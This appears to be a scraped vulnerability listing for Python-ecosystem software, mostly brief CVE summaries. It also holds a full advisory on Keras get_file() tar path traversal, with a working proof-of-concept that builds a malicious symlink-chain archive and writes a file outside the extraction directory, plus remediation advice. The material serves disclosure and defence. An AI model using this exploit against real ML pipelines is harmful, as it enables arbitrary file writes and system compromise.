See how python compares to other vendors in security performance
Integer overflow in the ImagingResampleHorizontal function in libImaging/Resample.c in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow.
Multiple integer overflows in Python 2.2.3 through 2.5.1, and 2.6, allow context-dependent attackers to have an unknown impact via a large integer value in the tabsize argument to the expandtabs method, as implemented by (1) the stringexpandtabs function in Objects/stringobject.c and (2) the unicodeexpandtabs function in Objects/unicodeobject.c. NOTE: this vulnerability reportedly exists because of an incomplete fix for CVE-2008-2315.
Integer overflow in the getdata function in zipimport.c in CPython (aka Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2 allows remote attackers to have unspecified impact via a negative data size value, which triggers a heap-based buffer overflow.
A sandboxing issue in Odoo Community 11.0 through 13.0 and Odoo Enterprise 11.0 through 13.0, when running with Python 3.6 or later, allows remote authenticated users to execute arbitrary code, leading to privilege escalation.
An integer overflow during the parsing of XML using the Expat library.
Summary
Keras's keras.utils.getfile() function is vulnerable to directory traversal attacks despite implementing filtersafepaths(). The vulnerability exists because extractarchive() uses Python's tarfile.extractall() method without the security-critical filter="data" parameter. A PATHMAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.
Details
Root Cause Analysis
Current Keras Implementation python From keras/src/utils/fileutils.py#L121 if zipfile.iszipfile(filepath): # Zip archive. archive.extractall(path) else: # Tar archive, perhaps unsafe. Filter paths. archive.extractall(path, members=filtersafepaths(archive))
The Critical Flaw
While Keras attempts to filter unsafe paths using filtersafepaths(), this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATHMAX symlink resolution bug occurs during extraction, not during member enumeration.
Exploitation Flow: 1. Archive parsing: filtersafepaths() sees symlink paths that appear safe 2. Extraction begins: extractall() processes the filtered members 3. PATHMAX bug triggers: Symlink resolution fails due to path length limits 4. Security bypass: Failed resolution causes literal path interpretation 5. Directory traversal: Files written outside intended directory
Technical Details
The vulnerability exploits a known issue in Python's tarfile module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:
- filtersafepaths() operates on the parsed tar member information - The PATHMAX bug occurs during actual file system operations in extractall() - Failed symlink resolution falls back to literal path interpretation - This allows traversal paths like ../../../../etc/passwd to be written
Affected Code Location
File: keras/src/utils/fileutils.py Function: extractarchive() around line 121 Issue: Missing filter="data" parameter in tarfile.extractall()
Proof of Concept #!/usr/bin/env python3 import os, io, sys, tarfile, pathlib, platform, threading, time import http.server, socketserver
Import Keras directly (not through TensorFlow) try: import keras print("Using standalone Keras:", keras.version) getfile = keras.utils.getfile except ImportError: try: import tensorflow as tf print("Using Keras via TensorFlow:", tf.keras.version) getfile = tf.keras.utils.getfile except ImportError: print("Neither Keras nor TensorFlow found!") sys.exit(1)
print("=" 60) print("Keras getfile() PATHMAX Symlink Vulnerability PoC") print("=" 60) print("Python:", sys.version.split()[0]) print("Platform:", platform.platform())
root = pathlib.Path.cwd() print(f"Working directory: {root}")
Create target directory for exploit demonstration exploitdir = root / "exploit" exploitdir.mkdir(existok=True)
Clean up any previous exploit files try: (exploitdir / "keraspwned.txt").unlink() except FileNotFoundError: pass
print(f"\n=== INITIAL STATE ===") print(f"Exploit directory: {exploitdir}") print(f"Files in exploit/: {[f.name for f in exploitdir.iterdir()]}")
Create malicious tar with PATHMAX symlink resolution bug print(f"\n=== Building PATHMAX Symlink Exploit ===")
Parameters for PATHMAX exploitation comp = 'd' (55 if sys.platform == 'darwin' else 247) steps = "abcdefghijklmnop" # 16-step symlink chain path = ""
with tarfile.open("kerasdataset.tgz", mode="w:gz") as tar: print("Creating deep symlink chain...") # Build the symlink chain that will exceed PATHMAX during resolution for i, step in enumerate(steps): # Directory with long name dirinfo = tarfile.TarInfo(os.path.join(path, comp)) dirinfo.type = tarfile.DIRTYPE tar.addfile(dirinfo) # Symlink pointing to that directory linkinfo = tarfile.TarInfo(os.path.join(path, step)) linkinfo.type = tarfile.SYMTYPE linkinfo.linkname = comp tar.addfile(linkinfo) path = os.path.join(path, comp) if i < 3 or i % 4 == 0: # Print progress for first few and every 4th print(f" Step {i+1}: {step} -> {comp[:20]}...") # Create the final symlink that exceeds PATHMAX # This is where the symlink resolution breaks down longname = "x" 254 linkpath = os.path.join("/".join(steps), longname) maxlink = tarfile.TarInfo(linkpath) maxlink.type = tarfile.SYMTYPE maxlink.linkname = ("../" len(steps)) tar.addfile(maxlink) print(f"✓ Created PATHMAX symlink: {len(linkpath)} characters") print(f" Points to: {'../' len(steps)}") # Exploit file through the broken symlink resolution exploitpath = linkpath + "/../../../exploit/keraspwned.txt" exploitcontent = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras getfile() is vulnerable to PATHMAX symlink attacks!\n" exploitfile = tarfile.TarInfo(exploitpath) exploitfile.type = tarfile.REGTYPE exploitfile.size = len(exploitcontent) tar.addfile(exploitfile, fileobj=io.BytesIO(exploitcontent)) print(f"✓ Added exploit file via broken symlink path") # Add legitimate dataset content datasetcontent = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n" datasetfile = tarfile.TarInfo("dataset/labels.csv") datasetfile.type = tarfile.REGTYPE datasetfile.size = len(datasetcontent) tar.addfile(datasetfile, fileobj=io.BytesIO(datasetcontent)) # Dataset directory datasetdir = tarfile.TarInfo("dataset/") datasetdir.type = tarfile.DIRTYPE tar.addfile(datasetdir)
print("✓ Malicious Keras dataset created")
Comparison Test: Python tarfile with filter (SAFE) print(f"\n=== COMPARISON: Python tarfile with data filter ===") try: with tarfile.open("kerasdataset.tgz", "r:gz") as tar: tar.extractall("pythonsafe", filter="data") filesafter = [f.name for f in exploitdir.iterdir()] print(f"✓ Python safe extraction completed") print(f"Files in exploit/: {filesafter}") # Cleanup import shutil if pathlib.Path("pythonsafe").exists(): shutil.rmtree("pythonsafe", ignoreerrors=True) except Exception as e: print(f"❌ Python safe extraction blocked: {str(e)[:80]}...") filesafter = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit/: {filesafter}")
Start HTTP server to serve malicious archive class SilentServer(http.server.SimpleHTTPRequestHandler): def logmessage(self, args): pass
def runserver(): with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd: httpd.allowreuseaddress = True httpd.serveforever()
server = threading.Thread(target=runserver, daemon=True) server.start() time.sleep(0.3)
Keras vulnerability test cachedir = root / "kerascache" cachedir.mkdir(existok=True) url = "http://127.0.0.1:8005/kerasdataset.tgz"
print(f"\n=== KERAS VULNERABILITY TEST ===") print(f"Testing: keras.utils.getfile() with extract=True") print(f"URL: {url}") print(f"Cache: {cachedir}") print(f"Expected extraction: kerascache/datasets/kerasdataset/") print(f"Exploit target: exploit/keraspwned.txt")
try: # The vulnerable Keras call extractedpath = getfile( "kerasdataset", url, cachedir=str(cachedir), extract=True ) print(f"✓ Keras extraction completed") print(f"✓ Returned path: {extractedpath}") except Exception as e: print(f"❌ Keras extraction failed: {e}") import traceback traceback.printexc()
Vulnerability assessment print(f"\n=== VULNERABILITY RESULTS ===") finalexploitfiles = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit directory: {finalexploitfiles}")
if "keraspwned.txt" in finalexploitfiles: print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨") exploitfile = exploitdir / "keraspwned.txt" content = exploitfile.readtext() print(f"Exploit file created: {exploitfile}") print(f"Content:\n{content}") print(f"🔍 TECHNICAL DETAILS:") print(f" • Keras uses tarfile.extractall() without filter parameter") print(f" • PATHMAX symlink resolution bug bypassed security checks") print(f" • File created outside intended cache directory") print(f" • Same vulnerability pattern as TensorFlow getfile()") print(f"\n📊 COMPARISON RESULTS:") print(f" ✅ Python with filter='data': BLOCKED exploit") print(f" ⚠️ Keras getfile(): ALLOWED exploit") else: print(f"✅ No exploit files detected") print(f"Possible reasons:") print(f" • Keras version includes security patches") print(f" • Platform-specific path handling prevented exploit") print(f" • Archive extraction path differed from expected")
Show what Keras actually extracted (safely) print(f"\n=== KERAS EXTRACTION ANALYSIS ===") try: if 'extractedpath' in locals() and pathlib.Path(extractedpath).exists(): keraspath = pathlib.Path(extractedpath) print(f"Keras extracted to: {keraspath}") # Safely list contents try: contents = [item.name for item in keraspath.iterdir()] print(f"Top-level contents: {contents}") # Count symlinks (indicates our exploit structure was created) symlinkcount = 0 for item in keraspath.iterdir(): try: if item.issymlink(): symlinkcount += 1 except PermissionError: continue print(f"Symlinks created: {symlinkcount}") if symlinkcount > 0: print(f"✓ PATHMAX symlink chain was extracted") except PermissionError: print(f"Permission errors in extraction directory (expected with symlink corruption)") except Exception as e: print(f"Could not analyze Keras extraction: {e}")
print(f"\n=== REMEDIATION ===") print(f"To fix this vulnerability, Keras should use:") print(f"python") print(f"tarfile.extractall(path, filter='data') # Safe") print(f"") print(f"Instead of:") print(f"python") print(f"tarfile.extractall(path) # Vulnerable") print(f"")
Cleanup print(f"\n=== CLEANUP ===") try: os.unlink("kerasdataset.tgz") print(f"✓ Removed malicious tar file") except: pass
print("PoC completed!")
Environment Setup - Python: 3.8+ (tested on multiple versions) - Keras: Standalone Keras or TensorFlow.Keras - Platform: Linux, macOS, Windows (path handling varies)
Exploitation Steps
1. Create malicious tar archive with PATHMAX symlink chain 2. Host archive on accessible HTTP server 3. Call keras.utils.getfile() with extract=True 4. Observe directory traversal - files written outside cache directory
Key Exploit Components
- Deep symlink chain: 16+ nested symlinks with long directory names - PATHMAX overflow: Final symlink path exceeding system limits - Traversal payload: Relative path traversal (../../../target/file) - Legitimate disguise: Archive contains valid-looking dataset files
Demonstration Results
Vulnerable behavior: - Files extracted outside intended cachedir/datasets/ location - Security filtering bypassed completely - No error or warning messages generated
Expected secure behavior: - Extraction blocked or confined to cache directory - Security warnings for suspicious archive contents
Impact
Vulnerability Classification - Type: Directory Traversal / Path Traversal (CWE-22) - Severity: High - CVSS Components: Network accessible, no authentication required, impacts confidentiality and integrity
Who Is Impacted
Direct Impact: - Applications using keras.utils.getfile() with extract=True - Machine learning pipelines downloading and extracting datasets - Automated ML training systems processing external archives
Attack Scenarios: 1. Malicious datasets: Attacker hosts compromised ML dataset 2. Supply chain: Legitimate dataset repositories compromised 3. Model poisoning: Extraction writes malicious files alongside training data 4. System compromise: Configuration files, executables written to system directories
Affected Environments: - Research environments downloading public datasets - Production ML systems with automated dataset fetching - Educational platforms using Keras for tutorials - CI/CD pipelines training models with external data
Risk Assessment
High Risk Factors: - Common usage pattern in ML workflows - No user awareness of extraction security - Silent failure mode (no warnings) - Cross-platform vulnerability
Potential Consequences: - Arbitrary file write on target system - Configuration file tampering - Code injection via overwritten scripts - Data exfiltration through planted files - System compromise in containerized environments
Recommended Fix
Immediate Mitigation
Replace the vulnerable extraction code with:
python Secure implementation if zipfile.iszipfile(filepath): # Zip archive - implement similar filtering archive.extractall(path, members=filtersafepaths(archive)) else: # Tar archive with proper security filter archive.extractall(path, members=filtersafepaths(archive), filter="data")
Long-term Solution
1. Add filter="data" parameter to all tarfile.extractall() calls 2. Implement comprehensive path validation before extraction 3. Add extraction logging for security monitoring 4. Consider sandboxed extraction for untrusted archives 5. Update documentation to warn about archive security risks
Backward Compatibility
The fix maintains full backward compatibility as filter="data" is the recommended secure default for Python 3.12+.
References
- [Python tarfile security documentation](https://docs.python.org/3/library/tarfile.html#extraction-filters) - [CVE-2007-4559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559) - Related tarfile vulnerability - [OWASP Path Traversal](https://owasp.org/www-community/attacks/PathTraversal)
Note: Reported in Huntr as well, but didn't get response https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4
An out-of-bounds read flaw was found in the way Expat processed certain input. A remote attacker could send specially crafted XML that, when parsed by an application using the Expat library, would cause that application to crash or, possibly, execute arbitrary code with the permission of the user running the application.
Last updated 18 August 2025
A flaw was discovered in python-pillow does where it does not properly restrict operations within the bounds of a memory buffer when decoding PCX images. An application that uses python-pillow to decode untrusted images may be vulnerable to this flaw, which can allow an attacker to crash the application or potentially execute code on the system.
libImaging/SgiRleDecode.c in Pillow before 6.2.2 has an SGI buffer overflow.
A security regression for CVE-2019-9636 was discovered in python's functions urllib.parse.urlsplit and urllib.parse.urlparse, introduced with commit d537ab0ff9767ef024f26246899728f0116b1ec3. No upstream python version is affected by this regression but the vulnerable commit may already have been included downstream as part of the original fix for CVE-2019-9636.
Affected python versions ignore the user/password part before @ in the netloc component of a URL, thus it still allows an attacker to exploit the vulnerability as in CVE-2019-9636. Those functions do not properly handle URLs encoded with Punycode/Internationalizing Domain Names in Applications (IDNA), which may result in a wrong domain name (specifically the netloc component of URL - user@domain:port) being returned by those functions. When an application parses user-supplied URLs to store cookies, authentication credentials, or other kind of information, it is possible for an attacker to provide specially crafted URLs to make the application locate host-related information (e.g. cookies, authentication data) and send them to a different host than where it should, unlike if the URLs had been correctly parsed. The result of an attack may vary based on the application.
External Reference https://python-security.readthedocs.io/vuln/urlsplit-nfkc-normalization2.html
Vulnerable commit https://github.com/python/cpython/commit/d537ab0ff9767ef024f26246899728f0116b1ec3
Upstream patch https://github.com/python/cpython/commit/8d0ef0b5edeae52960c7ed05ae8a12388324f87e
A vulnerability was found in Python 2.7.x through 2.7.16 and 3.x through 3.7.2. An improper Handling of Unicode Encoding (with an incorrect netloc) during NFKC normalization could lead to an Information Disclosure (credentials, cookies, etc. that are cached against a given hostname) in the urllib.parse.urlsplit, urllib.parse.urlparse components. A specially crafted URL could be incorrectly parsed to locate cookies or authentication data and send that information to a different host than when parsed correctly.
References: https://bugs.python.org/issue36216 https://python-security.readthedocs.io/vuln/urlsplit-nfkc-normalization.html
Uptream Patch: https://github.com/python/cpython/pull/12201
An unspecified error with CJK codec tests call eval() on content retrieved throug HTTP in multibytecodecsupport.py in Python has an unknown impact and attack vector.
A flaw was found in python. A stack-based buffer overflow was discovered in the ctypes module provided within Python. Applications that use ctypes without carefully validating the input passed to it may be vulnerable to this flaw, which would allow an attacker to overflow a buffer on the stack and crash the application. The highest threat from this vulnerability is to system availability.
A flaw was found in python-pillow. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
A flaw was found in python-pillow. This flaw allows an attacker to pass controlled parameters directly into a convert function, triggering a buffer overflow in the "convert()" or "ImagingConvertTransparent()" functions in Convert.c. The highest threat to this vulnerability is to system availability. In Red Hat Quay, a vulnerable version of python-pillow is shipped with quay-registry-container, however the invoice generation feature which uses python-pillow is disabled by default. Therefore impact has been rated Moderate.
A flaw was found in python-ipaddress. Improper input validation of octal strings in stdlib ipaddress allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many programs that rely on Python stdlib ipaddress. The highest threat from this vulnerability is to data integrity and system availability.
A flaw was found in python-pillow. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. The previous fix for CVE-2020-35654 was insufficient due to incorrect error checking in TiffDecode.c. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Fixed bug : buffer overflow in hashupdate() on long parameter. (CVE-2022-37454)
An exploitable vulnerability exists in the configuration-loading functionality of the jw.util package before 2.3 for Python. When loading a configuration with FromString or FromStream with YAML, one can execute arbitrary Python code, resulting in OS command execution, because safeload is not used.
BZ2decompress in decompress.c in bzip2 through 1.0.6 has an out-of-bounds write when there are many selectors.
Last updated 25 August 2025
CPython (aka Python) up to 2.7.13 is vulnerable to an integer overflow in the PyStringDecodeEscape function in stringobject.c, resulting in heap-based buffer overflow (and possible arbitrary code execution)
A flaw was found in the Python tarfile module. Extracting a crafted TAR archive with the tarfile.extract or tarfile.extractall functions could lead to a directory traversal vulnerability, resulting in overwrite of arbitrary files.
In Python 3.8.4, sys.path restrictions specified in a python38.pth file are ignored, allowing code to be loaded from arbitrary locations. The <executable-name>.pth file (e.g., the python.pth file) is not affected.
The CGIHTTPServer module in Python 2.7.5 and 3.3.4 does not properly handle URLs in which URL encoding is used for path separators, which allows remote attackers to read script source code or conduct directory traversal attacks and execute unintended code via a crafted character sequence, as demonstrated by a %2f separator.
marcador package in PyPI 0.1 through 0.13 included a code-execution backdoor.
libImaging/TgaRleDecode.c in Pillow 9.1.0 has a heap buffer overflow in the processing of invalid TGA image files.
The bluemonday sanitizer before 1.0.16 for Go, and before 0.0.8 for Python (in pybluemonday), does not properly enforce policies associated with the SELECT, STYLE, and OPTION elements.
Python Image Library (PIL) 1.1.7 and earlier and Pillow 2.3 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py.